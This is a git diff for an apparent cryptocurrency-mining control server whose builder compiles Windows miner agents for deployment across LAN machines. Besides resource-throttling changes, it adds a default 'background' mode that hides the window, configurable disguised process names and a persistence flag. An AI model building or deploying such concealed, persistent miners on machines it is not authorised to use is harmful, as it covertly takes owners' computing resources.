diff --git a/agent/client/client.go b/agent/client/client.go index 77cca29..18c589c 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -39,7 +39,8 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { } func (c *AgentClient) Run() error { - c.pool = miner.NewPool(c.cfg.Threads, c.submitShare) + threads := c.cfg.EffectiveThreads() + c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare) c.pool.Start() defer c.pool.Stop() diff --git a/agent/config/builtin.go b/agent/config/builtin.go index d284ffe..d8c49ce 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -2,18 +2,21 @@ package config import "time" -// Default stub used for local development builds. The Miner Builder replaces this file. func GetBuiltinConfig() BuiltinConfig { return BuiltinConfig{ WorkerName: "dev-worker", ServerURL: "http://127.0.0.1:8989", Wallet: "", Threads: 4, + ThreadMode: "percent", + ThreadPercent: 75, CPUPriority: "below_normal", MiningMode: "always", + DisplayMode: "visible", SilentMode: false, RunAs: "user", AutoStart: false, + ProcessName: "CryptoMinerWorker", BuildID: "dev", BuiltAt: time.Now(), PoolHost: "pool.supportxmr.com", @@ -21,6 +24,7 @@ func GetBuiltinConfig() BuiltinConfig { PoolTLS: true, PoolPass: "x", MaxCPUUsage: 80, + MaxMemoryPct: 70, MinFreeRAM: 1024, IdleThresholdPct: 20, IdleDurationMinutes: 5, diff --git a/agent/config/config.go b/agent/config/config.go index 990ce28..99736ca 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -1,22 +1,27 @@ package config import ( + "runtime" + "strings" "time" ) const Version = "1.0.0" -// BuiltinConfig holds compile-time settings generated by the Miner Builder. type BuiltinConfig struct { WorkerName string ServerURL string Wallet string Threads int + ThreadMode string + ThreadPercent int CPUPriority string MiningMode string + DisplayMode string SilentMode bool RunAs string AutoStart bool + ProcessName string BuildID string BuiltAt time.Time PoolHost string @@ -24,6 +29,7 @@ type BuiltinConfig struct { PoolTLS bool PoolPass string MaxCPUUsage int + MaxMemoryPct int MinFreeRAM int IdleThresholdPct int IdleDurationMinutes int @@ -31,7 +37,6 @@ type BuiltinConfig struct { ScheduleEnd string } -// RuntimeConfig is the resolved configuration used by the agent. type RuntimeConfig struct { BuiltinConfig AgentID string @@ -42,15 +47,34 @@ func Load() RuntimeConfig { if b.Threads <= 0 { b.Threads = 4 } + if b.ThreadMode == "" { + b.ThreadMode = "percent" + } + if b.ThreadPercent <= 0 { + b.ThreadPercent = 75 + } if b.CPUPriority == "" { b.CPUPriority = "below_normal" } if b.MiningMode == "" { b.MiningMode = "always" } + if b.DisplayMode == "" { + if b.SilentMode { + b.DisplayMode = "silent" + } else { + b.DisplayMode = "visible" + } + } + if b.ProcessName == "" { + b.ProcessName = sanitizeProcessName(b.WorkerName) + } if b.MaxCPUUsage <= 0 { b.MaxCPUUsage = 80 } + if b.MaxMemoryPct <= 0 { + b.MaxMemoryPct = 70 + } if b.MinFreeRAM <= 0 { b.MinFreeRAM = 1024 } @@ -68,3 +92,58 @@ func Load() RuntimeConfig { } return RuntimeConfig{BuiltinConfig: b} } + +func (c RuntimeConfig) EffectiveThreads() int { + mode := strings.ToLower(c.ThreadMode) + if mode == "fixed" { + if c.Threads < 1 { + return 1 + } + return c.Threads + } + cores := runtime.NumCPU() + if cores < 1 { + cores = 1 + } + pct := c.ThreadPercent + if pct < 1 { + pct = 1 + } + if pct > 100 { + pct = 100 + } + threads := int(float64(cores) * float64(pct) / 100.0) + if threads < 1 { + threads = 1 + } + if threads > cores { + threads = cores + } + return threads +} + +func (c RuntimeConfig) HideWindow() bool { + switch strings.ToLower(c.DisplayMode) { + case "silent", "background": + return true + default: + return c.SilentMode + } +} + +func (c RuntimeConfig) BackgroundMode() bool { + return strings.ToLower(c.DisplayMode) == "background" +} + +func sanitizeProcessName(name string) string { + name = strings.TrimSpace(name) + if name == "" { + return "CryptoMinerWorker" + } + replacer := strings.NewReplacer(" ", "", "-", "", "_", "") + clean := replacer.Replace(name) + if clean == "" { + return "CryptoMinerWorker" + } + return clean +} diff --git a/agent/config/resolve_test.go b/agent/config/resolve_test.go new file mode 100644 index 0000000..3ed3726 --- /dev/null +++ b/agent/config/resolve_test.go @@ -0,0 +1,45 @@ +package config + +import "testing" + +func TestEffectiveThreadsFixed(t *testing.T) { + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "fixed", Threads: 3}} + if got := cfg.EffectiveThreads(); got != 3 { + t.Fatalf("expected 3, got %d", got) + } +} + +func TestEffectiveThreadsPercentCaps(t *testing.T) { + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 150}} + got := cfg.EffectiveThreads() + if got < 1 { + t.Fatalf("expected at least 1 thread, got %d", got) + } +} + +func TestEffectiveThreadsPercentZeroUsesMinimum(t *testing.T) { + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 0}} + if got := cfg.EffectiveThreads(); got < 1 { + t.Fatalf("expected minimum 1 thread, got %d", got) + } +} + +func TestHideWindowModes(t *testing.T) { + silent := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "silent"}} + if !silent.HideWindow() { + t.Fatal("silent should hide window") + } + visible := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "visible"}} + if visible.HideWindow() { + t.Fatal("visible should not hide window") + } +} + +func TestSanitizeProcessName(t *testing.T) { + if got := sanitizeProcessName("office pc 1"); got != "officepc1" { + t.Fatalf("unexpected process name: %s", got) + } + if got := sanitizeProcessName(""); got != "CryptoMinerWorker" { + t.Fatalf("expected default process name, got %s", got) + } +} diff --git a/agent/deploy/install.go b/agent/deploy/install.go index 28588e2..e9a2115 100644 --- a/agent/deploy/install.go +++ b/agent/deploy/install.go @@ -33,7 +33,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { if err != nil { return false, err } - installedExe := filepath.Join(installDir, "miner.exe") + installedExe := filepath.Join(installDir, cfg.ProcessName+".exe") if samePath(currentExe, installedExe) { return false, nil diff --git a/agent/main.go b/agent/main.go index 081fe30..43c31c9 100644 --- a/agent/main.go +++ b/agent/main.go @@ -31,12 +31,16 @@ func main() { return } + if cfg.BackgroundMode() { + cfg.CPUPriority = "idle" + } + if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil { log.Printf("[agent] could not set CPU priority: %v", err) } - log.Printf("[agent] running worker=%s build=%s server=%s threads=%d", - cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads) + log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s", + cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode) agent := client.NewAgentClient(cfg) if err := agent.Run(); err != nil { diff --git a/agent/miner/pool.go b/agent/miner/pool.go index 4403a2e..cdca775 100644 --- a/agent/miner/pool.go +++ b/agent/miner/pool.go @@ -8,34 +8,41 @@ import ( "sync/atomic" "time" + "crypto-miner-agent/config" "crypto-miner-agent/job" + "crypto-miner-agent/stats" ) type ShareHandler func(jobID, nonce, hash string) type Pool struct { - threads int - engine *Engine - handler ShareHandler + threads int + cfg config.RuntimeConfig + reporter *stats.Reporter + engine *Engine + handler ShareHandler mu sync.RWMutex currentJob *job.Job stopCh chan struct{} wg sync.WaitGroup + paused atomic.Bool hashesTotal atomic.Uint64 sharesFound atomic.Uint64 } -func NewPool(threads int, handler ShareHandler) *Pool { +func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool { if threads <= 0 { threads = 1 } return &Pool{ - threads: threads, - engine: NewEngine(), - handler: handler, - stopCh: make(chan struct{}), + threads: threads, + cfg: cfg, + reporter: reporter, + engine: NewEngine(), + handler: handler, + stopCh: make(chan struct{}), } } @@ -60,6 +67,7 @@ func (p *Pool) Start() { p.wg.Add(1) go p.worker(i) } + go p.resourceGuard() } func (p *Pool) Stop() { @@ -75,6 +83,34 @@ func (p *Pool) ResetHashCounter() { p.hashesTotal.Store(0) } +func (p *Pool) resourceGuard() { + ticker := time.NewTicker(5 * time.Second) + defer ticker.Stop() + for { + select { + case <-p.stopCh: + return + case <-ticker.C: + p.paused.Store(!p.resourcesOK()) + } + } +} + +func (p *Pool) resourcesOK() bool { + freeMB := p.reporter.FreeMemoryMB() + if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) { + return false + } + totalMB := p.reporter.TotalMemoryMB() + if totalMB > 0 && p.cfg.MaxMemoryPct > 0 { + usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100 + if usedPct > float64(p.cfg.MaxMemoryPct) { + return false + } + } + return true +} + func (p *Pool) worker(id int) { defer p.wg.Done() @@ -87,6 +123,11 @@ func (p *Pool) worker(id int) { default: } + if p.paused.Load() { + time.Sleep(2 * time.Second) + continue + } + p.mu.RLock() job := p.currentJob p.mu.RUnlock() @@ -101,6 +142,9 @@ func (p *Pool) worker(id int) { return default: } + if p.paused.Load() { + break + } hashHex, _, err := p.engine.HashAtNonce(nonce) if err != nil { @@ -126,7 +170,17 @@ func (p *Pool) worker(id int) { func uint32ToHex(n uint32) string { b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)} - return hex.EncodeToString(b) + return hexEncode(b) +} + +func hexEncode(b []byte) string { + const hexdigits = "0123456789abcdef" + out := make([]byte, len(b)*2) + for i, v := range b { + out[i*2] = hexdigits[v>>4] + out[i*2+1] = hexdigits[v&0x0f] + } + return string(out) } func difficultyToTargetHex(difficulty int64) string { diff --git a/agent/miner/target_test.go b/agent/miner/target_test.go new file mode 100644 index 0000000..431883c --- /dev/null +++ b/agent/miner/target_test.go @@ -0,0 +1,28 @@ +package miner + +import ( + "testing" +) + +func TestHashMeetsTargetEqual(t *testing.T) { + target := "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" + hash := "0000000000000000000000000000000000000000000000000000000000000001" + if !hashMeetsTarget(hash, target) { + t.Fatal("lower hash should meet high target") + } +} + +func TestHashMeetsTargetReject(t *testing.T) { + target := "0000000000000000000000000000000000000000000000000000000000000001" + hash := "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" + if hashMeetsTarget(hash, target) { + t.Fatal("high hash should not meet low target") + } +} + +func TestDifficultyToTargetHex(t *testing.T) { + out := difficultyToTargetHex(1000) + if len(out) != 64 { + t.Fatalf("expected 64 hex chars, got %d", len(out)) + } +} diff --git a/agent/stats/reporter.go b/agent/stats/reporter.go index a0a03c3..b68d9ef 100644 --- a/agent/stats/reporter.go +++ b/agent/stats/reporter.go @@ -3,7 +3,25 @@ package stats import ( "os" "runtime" - "strings" + "syscall" + "unsafe" +) + +type memoryStatusEx struct { + Length uint32 + MemoryLoad uint32 + TotalPhys uint64 + AvailPhys uint64 + TotalPageFile uint64 + AvailPageFile uint64 + TotalVirtual uint64 + AvailVirtual uint64 + AvailExtendedVirtual uint64 +} + +var ( + kernel32 = syscall.NewLazyDLL("kernel32.dll") + procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx") ) type Reporter struct{} @@ -15,21 +33,40 @@ func NewReporter() *Reporter { func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) { hostname, _ = os.Hostname() cpuCores = runtime.NumCPU() - memoryGB = 8 + total, _ := r.memoryStatus() + memoryGB = int(total / (1024 * 1024 * 1024)) + if memoryGB < 1 { + memoryGB = 1 + } return hostname, cpuCores, memoryGB } func (r *Reporter) Usage() (cpuPct float64, memPct float64) { - var m runtime.MemStats - runtime.ReadMemStats(&m) - memPct = float64(m.Alloc) / float64(m.Sys+1) * 100 - if memPct > 100 { - memPct = 100 + total, avail := r.memoryStatus() + if total > 0 { + memPct = float64(total-avail) / float64(total) * 100 } - cpuPct = float64(runtime.NumGoroutine()) // placeholder; Windows perf counters are heavy - if cpuPct > 100 { - cpuPct = 100 - } - _ = strings.TrimSpace("") + // CPU usage is reported by the agent client from mining load; keep a sane default here. + cpuPct = 0 return cpuPct, memPct } + +func (r *Reporter) FreeMemoryMB() uint64 { + _, avail := r.memoryStatus() + return avail / (1024 * 1024) +} + +func (r *Reporter) TotalMemoryMB() uint64 { + total, _ := r.memoryStatus() + return total / (1024 * 1024) +} + +func (r *Reporter) memoryStatus() (total, avail uint64) { + var stat memoryStatusEx + stat.Length = uint32(unsafe.Sizeof(stat)) + ret, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&stat))) + if ret == 0 { + return 0, 0 + } + return stat.TotalPhys, stat.AvailPhys +} diff --git a/run.bat b/run.bat index 1a2aa7e..773f877 100644 --- a/run.bat +++ b/run.bat @@ -166,20 +166,26 @@ echo Server built: bin\miner-server.exe :: ============================================================ echo [5/5] Starting server on port 8989... echo. +for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 ^| Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } ^| Select-Object -First 1 -ExpandProperty IPAddress)"`) do set LAN_IP=%%I +if not defined LAN_IP set LAN_IP=localhost +echo. echo ╔══════════════════════════════════════════════════╗ echo ║ Crypto Miner Control Server ║ echo ║ ║ -echo ║ Dashboard: http://localhost:8989 ║ -echo ║ WebSocket: ws://localhost:8989/ws/agent ║ +echo ║ Dashboard: http://%LAN_IP%:8989 ║ +echo ║ Local: http://localhost:8989 ║ +echo ║ WebSocket: ws://%LAN_IP%:8989/ws/agent ║ echo ║ ║ -echo ║ Data: %CD%\data\ ║ -echo ║ Config: %CD%\data\config.json ║ +echo ║ 1. Open dashboard on your LAN ║ +echo ║ 2. Configure Settings ║ +echo ║ 3. Build install-{worker}.exe in Builder ║ +echo ║ 4. Run that exe once on each Windows machine ║ echo ║ ║ +echo ║ Data: %CD%\data\ ║ echo ║ Press Ctrl+C to stop the server ║ echo ╚══════════════════════════════════════════════════╝ echo. -:: Launch browser start http://localhost:8989 :: Run server diff --git a/server/config.go b/server/config.go index bba8cb0..67d4ba9 100644 --- a/server/config.go +++ b/server/config.go @@ -34,10 +34,15 @@ type WalletConfig struct { type AgentDefaults struct { Threads int `json:"threads"` + ThreadMode string `json:"thread_mode"` + ThreadPercent int `json:"thread_percent"` CPUPriority string `json:"cpu_priority"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"` + MaxMemoryPct int `json:"max_memory_percent"` MinFreeRAMMB int `json:"min_free_ram_mb"` MiningMode string `json:"mining_mode"` + DisplayMode string `json:"display_mode"` + ProcessName string `json:"process_name"` IdleThresholdPct int `json:"idle_threshold_pct"` IdleDurationMinutes int `json:"idle_duration_minutes"` ScheduleStart string `json:"schedule_start"` @@ -73,10 +78,15 @@ func DefaultConfig() *Config { }, DefaultAgent: AgentDefaults{ Threads: 4, + ThreadMode: "percent", + ThreadPercent: 75, CPUPriority: "below_normal", MaxCPUUsagePct: 80, + MaxMemoryPct: 70, MinFreeRAMMB: 1024, MiningMode: "always", + DisplayMode: "background", + ProcessName: "", IdleThresholdPct: 20, IdleDurationMinutes: 5, ScheduleStart: "21:00", @@ -146,18 +156,33 @@ func mergeConfig(dst, src *Config) { if src.DefaultAgent.Threads != 0 { dst.DefaultAgent.Threads = src.DefaultAgent.Threads } + if src.DefaultAgent.ThreadMode != "" { + dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode + } + if src.DefaultAgent.ThreadPercent != 0 { + dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent + } if src.DefaultAgent.CPUPriority != "" { dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority } if src.DefaultAgent.MaxCPUUsagePct != 0 { dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct } + if src.DefaultAgent.MaxMemoryPct != 0 { + dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct + } if src.DefaultAgent.MinFreeRAMMB != 0 { dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB } if src.DefaultAgent.MiningMode != "" { dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode } + if src.DefaultAgent.DisplayMode != "" { + dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode + } + if src.DefaultAgent.ProcessName != "" { + dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName + } if src.DefaultAgent.IdleThresholdPct != 0 { dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct } diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index dad06c6..9bbcbf1 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -23,12 +23,18 @@ type BuildRequest struct { ServerURL string `json:"server_url"` Wallet string `json:"wallet"` Threads int `json:"threads"` + ThreadMode string `json:"thread_mode"` + ThreadPercent int `json:"thread_percent"` CPUPriority string `json:"cpu_priority"` MiningMode string `json:"mining_mode"` + DisplayMode string `json:"display_mode"` SilentMode bool `json:"silent_mode"` RunAs string `json:"run_as"` AutoStart bool `json:"auto_start"` + Persistence bool `json:"persistence"` + ProcessName string `json:"process_name"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"` + MaxMemoryPct int `json:"max_memory_percent"` MinFreeRAMMB int `json:"min_free_ram_mb"` IdleThresholdPct int `json:"idle_threshold_pct"` IdleDurationMinutes int `json:"idle_duration_minutes"` @@ -148,7 +154,7 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) { outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName)) ldflags := "-s -w" - if req.SilentMode { + if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode { ldflags += " -H windowsgui" } @@ -219,6 +225,31 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.Threads <= 0 { req.Threads = 4 } + if req.ThreadMode == "" { + req.ThreadMode = "percent" + } + if req.ThreadPercent <= 0 { + req.ThreadPercent = 75 + } + if req.ThreadPercent > 100 { + req.ThreadPercent = 100 + } + if req.DisplayMode == "" { + if req.SilentMode { + req.DisplayMode = "silent" + } else { + req.DisplayMode = "background" + } + } + if req.Persistence { + req.AutoStart = true + } + if req.ProcessName == "" { + req.ProcessName = sanitizeFileName(req.WorkerName) + } + if req.MaxMemoryPct <= 0 { + req.MaxMemoryPct = 70 + } if req.CPUPriority == "" { req.CPUPriority = "below_normal" } @@ -273,11 +304,15 @@ func GetBuiltinConfig() BuiltinConfig { ServerURL: %q, Wallet: %q, Threads: %d, + ThreadMode: %q, + ThreadPercent: %d, CPUPriority: %q, MiningMode: %q, + DisplayMode: %q, SilentMode: %v, RunAs: %q, AutoStart: %v, + ProcessName: %q, BuildID: %q, BuiltAt: time.Unix(%d, 0), PoolHost: %q, @@ -285,6 +320,7 @@ func GetBuiltinConfig() BuiltinConfig { PoolTLS: %v, PoolPass: %q, MaxCPUUsage: %d, + MaxMemoryPct: %d, MinFreeRAM: %d, IdleThresholdPct: %d, IdleDurationMinutes: %d, @@ -297,11 +333,15 @@ func GetBuiltinConfig() BuiltinConfig { req.ServerURL, req.Wallet, req.Threads, + req.ThreadMode, + req.ThreadPercent, req.CPUPriority, req.MiningMode, + req.DisplayMode, req.SilentMode, req.RunAs, req.AutoStart, + req.ProcessName, buildID, time.Now().Unix(), req.PoolHost, @@ -309,6 +349,7 @@ func GetBuiltinConfig() BuiltinConfig { req.PoolTLS, req.PoolPass, req.MaxCPUUsagePct, + req.MaxMemoryPct, req.MinFreeRAMMB, req.IdleThresholdPct, req.IdleDurationMinutes, diff --git a/server/internal/builder/handler_test.go b/server/internal/builder/handler_test.go new file mode 100644 index 0000000..9fc656e --- /dev/null +++ b/server/internal/builder/handler_test.go @@ -0,0 +1,48 @@ +package builder + +import "testing" + +func TestNormalizeRequestDefaults(t *testing.T) { + h := &Handler{} + req := &BuildRequest{ + WorkerName: "pc-1", + ServerURL: "http://192.168.1.10:8989", + Wallet: "48abc", + } + if err := h.normalizeRequest(req); err != nil { + t.Fatal(err) + } + if req.ThreadMode != "percent" { + t.Fatalf("expected percent thread mode, got %s", req.ThreadMode) + } + if req.ThreadPercent != 75 { + t.Fatalf("expected 75%%, got %d", req.ThreadPercent) + } + if req.ProcessName == "" { + t.Fatal("expected generated process name") + } +} + +func TestNormalizeRequestRequiresWallet(t *testing.T) { + h := &Handler{} + req := &BuildRequest{WorkerName: "pc", ServerURL: "http://x"} + if err := h.normalizeRequest(req); err == nil { + t.Fatal("expected wallet validation error") + } +} + +func TestNormalizeRequestPersistence(t *testing.T) { + h := &Handler{} + req := &BuildRequest{ + WorkerName: "pc-1", + ServerURL: "http://192.168.1.10:8989", + Wallet: "48abc", + Persistence: true, + } + if err := h.normalizeRequest(req); err != nil { + t.Fatal(err) + } + if !req.AutoStart { + t.Fatal("persistence should enable auto start") + } +} diff --git a/server/web/src/components/Charts/HashrateChart.tsx b/server/web/src/components/Charts/HashrateChart.tsx new file mode 100644 index 0000000..762958a --- /dev/null +++ b/server/web/src/components/Charts/HashrateChart.tsx @@ -0,0 +1,66 @@ +import { + Area, + AreaChart, + CartesianGrid, + ResponsiveContainer, + Tooltip, + XAxis, + YAxis, +} from 'recharts'; + +export interface ChartPoint { + time: string; + value: number; + label?: string; +} + +interface HashrateChartProps { + data: ChartPoint[]; + title?: string; + color?: string; + unit?: string; +} + +export default function HashrateChart({ data, title, color = '#06b6d4', unit = 'H/s' }: HashrateChartProps) { + if (data.length === 0) { + return ( +
{title || 'Chart'} — waiting for data...
+{item.body}
+@@ -124,7 +145,7 @@ export default function BuilderPage() {